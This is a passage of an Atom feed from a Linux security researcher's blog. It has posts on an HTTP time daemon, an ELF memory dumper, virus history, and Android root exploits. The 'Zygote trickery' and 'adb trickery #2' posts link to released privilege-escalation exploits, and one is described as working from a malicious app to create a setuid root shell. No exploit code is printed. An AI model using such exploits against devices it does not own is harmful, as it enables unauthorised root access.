monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8464248126478634970?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8464248126478634970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8464248126478634970' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8464248126478634970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8464248126478634970'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/02/zimperlich-sources.html' title='Zimperlich sources'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5364521287164122953</id><published>2011-02-18T04:58:00.000-08:00</published><updated>2011-02-18T04:58:16.307-08:00</updated><title type='text'>Cloud Clock trickery</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I spent some time fumbling with &lt;i&gt;HTTP&lt;/i&gt; again but not related&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to &lt;i&gt;Web 2.O&lt;/i&gt;. Rather I was interested in how &lt;i&gt;HTTP&lt;/i&gt; could&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;replace &lt;i&gt;NTP&lt;/i&gt; since web servers reply with a &lt;b&gt;Date:&lt;/b&gt; string&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;upon each request. The result can be found &lt;a href="http://stealth.openwall.net/networking/cloud-clock-0.31.tgz"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It is basically a daemon that fetches &lt;b&gt;Date:&lt;/b&gt; of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;pre-configured servers and tries to minimize RTT and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;local I/O impact when setting the time. It also runs as&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a user &lt;i&gt;chroot&lt;/i&gt;ed, keeping &lt;b&gt;CAP_SYS_TIME&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It should also work with IPv6 nodes. If you want to use&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;my &lt;a href="http://stealth.openwall.net/networking/lophttpd-0.87.tgz"&gt;lophttpd&lt;/a&gt; web server along with &lt;i&gt;httpdated&lt;/i&gt;, you need&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to update it to the latest version.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Feel free to comment if you have ideas or see problems&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;but do not bother me with "NTP is much more better and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;more correct". I know that :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5364521287164122953?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5364521287164122953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5364521287164122953' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5364521287164122953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5364521287164122953'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/02/cloud-clock-trickery.html' title='Cloud Clock trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5594548171800783222</id><published>2011-02-02T00:27:00.000-08:00</published><updated>2011-02-02T00:30:54.229-08:00</updated><title type='text'>ELF process dumping trickery</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I made a small tool available &lt;a href="http://suse.de/~krahmer/elfdump-0.3.tgz"&gt;here&lt;/a&gt; which allows to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;dump &lt;b&gt;ELF&lt;/b&gt; binaries from memory to disk in cases&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;where the original image has been altered/deleted/crypted&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;etc.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;There is no way to make it 100% reliable as the state&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of the program might not be the same as when just loaded&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and therefore you can have dangling pointers etc.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in &lt;b&gt;.data.&lt;/b&gt;&amp;nbsp;However it works surprisingly well for a lot&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of programs.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Some info is lost during loading anyway and has to be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;restored heuristically. We rely on linear ascending&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;PLT jump-slots for example.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I only tested it on &lt;i&gt;x86-64 &lt;/i&gt;but it has basic support&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for &lt;i&gt;x86&lt;/i&gt; as well. The de-relocation of the image has&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to be checked though. All other architectures like&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;PPC64&lt;/i&gt; etc. can easily be added by adding appropriate&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;R_ types to the switch() clause.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5594548171800783222?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5594548171800783222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5594548171800783222' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5594548171800783222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5594548171800783222'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/02/elf-process-dumping-trickery.html' title='ELF process dumping trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6538015210383408856</id><published>2011-01-21T03:07:00.000-08:00</published><updated>2011-01-21T03:10:58.743-08:00</updated><title type='text'>Happy birthday to a good friend. You are not 25, you are almost 31 :-)</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;According to some news site its the 25th birthday of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the &lt;i&gt;computer virus&lt;/i&gt;. Or not.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;While most of the &lt;i&gt;scientists&lt;/i&gt; and &lt;b&gt;malware analysts&lt;/b&gt; know&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;that &lt;i&gt;Fred Cohen&lt;/i&gt; did one of the first &lt;a href="http://vxheavens.com/lib/afc01.html"&gt;virus research in 1984&lt;/a&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it is a little known fact that in February 1980 a &lt;a href="http://vxheavens.com/lib/mjk00.html"&gt;Diploma Thesis&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;at the University of Dortmund already discussed self replicating programs (in german). The 80's must have been such a great time. :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you are interested, I also discussed some virus related issues&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for UNIX in 2009&amp;nbsp;&lt;a href="http://www.suse.de/~krahmer/companion_worms.pdf"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6538015210383408856?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6538015210383408856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6538015210383408856' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6538015210383408856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6538015210383408856'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/01/happy-birthday-to-good-friend-you-are.html' title='Happy birthday to a good friend. You are not 25, you are almost 31 :-)'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2295725255996821885</id><published>2011-01-06T09:51:00.000-08:00</published><updated>2011-01-08T09:15:42.159-08:00</updated><title type='text'>adb trickery #2</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Apparently some vendors have reviewed android and also fixed&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the &lt;b&gt;ashmem&lt;/b&gt; issue in 2.2.1 (along with &lt;b&gt;adb&lt;/b&gt; and &lt;b&gt;zygote&lt;/b&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;However, I got the first reports for &lt;i&gt;KillingInTheNameOf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;working on 2.1 devices. So I made it available&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://stealth.openwall.net/xSports/KillingInTheNameOf.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It was really my favorite and I hoped it would become&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the Gingerbreak, but 2.3 is not using&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;ashmem&lt;/b&gt; for system properties. Thats life :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;[Update:] &lt;/b&gt;it seems like the &lt;i&gt;property space&lt;/i&gt; has become&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the new playground for breaking froyo devices since this post,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;as the &lt;b&gt;ashmem&lt;/b&gt; implementation has some shortcomings if&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it comes to properly protecting the &lt;i&gt;property space&lt;/i&gt; :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The security of the whole system relies on the &lt;i&gt;property&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;space&lt;/i&gt;&amp;nbsp;due to&amp;nbsp;&lt;b&gt;ro.secure&lt;/b&gt;&amp;nbsp;and other properties.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;However for Gingerbread, the property implementation has been&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;redesigned AFAIK.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Also check out &lt;a href="https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2"&gt;this link&lt;/a&gt;&amp;nbsp;for another method of exploiting&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;ashmem &lt;/b&gt;which apparently also works on 2.2.1 devices.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;My Gingerbreak works, but I wont release it before a couple&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;of devices are in the wild so the issue is not fixed before&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it can become useful.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2295725255996821885?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2295725255996821885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2295725255996821885' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2295725255996821885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2295725255996821885'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2011/01/adb-trickery-again.html' title='adb trickery #2'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1271415966807310217</id><published>2010-12-30T04:24:00.000-08:00</published><updated>2010-12-30T05:51:17.316-08:00</updated><title type='text'>Zygote trickery -- 743C 27C3 release</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The &lt;i&gt;Gingerbread&lt;/i&gt; source has recently been released and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a root vulnerability has been fixed inside the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;zygote/dalvik&lt;/b&gt; framework (if you dont know what it is,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;call it a framework). I hoped that this exploit would&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;still work on &lt;i&gt;Gingerbread&lt;/i&gt;, but since the bug is too&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;similar to the &lt;b&gt;adb&lt;/b&gt; issue it has been fixed as well.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Thus, this only affects android phones &amp;lt; 2.3 but&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it also works without debugging being enabled e.g.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;from inside an evil app.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;As always: the code is AS IS.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;If you use it, it may crash your&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;device and makes it totally useless, SO YOU USE IT AT YOUR&amp;nbsp;OWN RISK! THERE IS NO GUARANTEE&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;THAT IT WILL WORK AT ALL.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;/span&gt;If you dont know what jailbreaking is about, dont do it anyways.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Once executed it should create a /system/bin/rootshell or&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;+s /system/bin/sh.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The apk can be found &lt;a href="http://stealth.openwall.net/xSports/zimperlich.apk"&gt;here&lt;/a&gt;. Nevermind the simple GUI,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;it was pasted together from various sample/demo programs&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;just to make it easier to have an &lt;i&gt;activity&lt;/i&gt; to start&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for &lt;b&gt;zygote&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;And fear my publishing skillz! :D&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1271415966807310217?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1271415966807310217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1271415966807310217' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1271415966807310217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1271415966807310217'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/12/zygote-trickery-743c-27c3-release.html' title='Zygote trickery -- 743C 27C3 release'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4253769815166411699</id><published>2010-12-16T09:05:00.000-08:00</published><updated>2010-12-16T09:05:09.483-08:00</updated><title type='text'>The bootdisk and the rootdisk</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The recent discussion at the pub was of course about&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the bits and bytes but this time with view on historical&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;facts. Someone remembers the &lt;i&gt;bootdisk&lt;/i&gt; and the &lt;i&gt;rootdisk&lt;/i&gt;?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;When it was not possible to boot from CD-ROM it was&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;necessary to &lt;i&gt;dd&lt;/i&gt; a &lt;i&gt;bootdisk&lt;/i&gt; and a &lt;i&gt;rootdisk&lt;/i&gt; image to floppy&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;disks. After a few installs, one of them was always fscked.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;So why were we using Linux at all? Wasn't it a funny time&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with &lt;i&gt;TurboPascal&lt;/i&gt; at school? Or even better with &lt;i&gt;BorlandC++&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;which I got hands on in '94 or so on a low-price&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(b/c outdated-)version. For a price of just 80 DM&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;which was still high&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;enough at that time one also got the incredible &lt;i&gt;TurboDebugger&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and there the fun starts.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DbsW_SGQJgI/TQpFKcIFJ4I/AAAAAAAAAJE/xAF_Q6IzQ90/s1600/td.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="187" 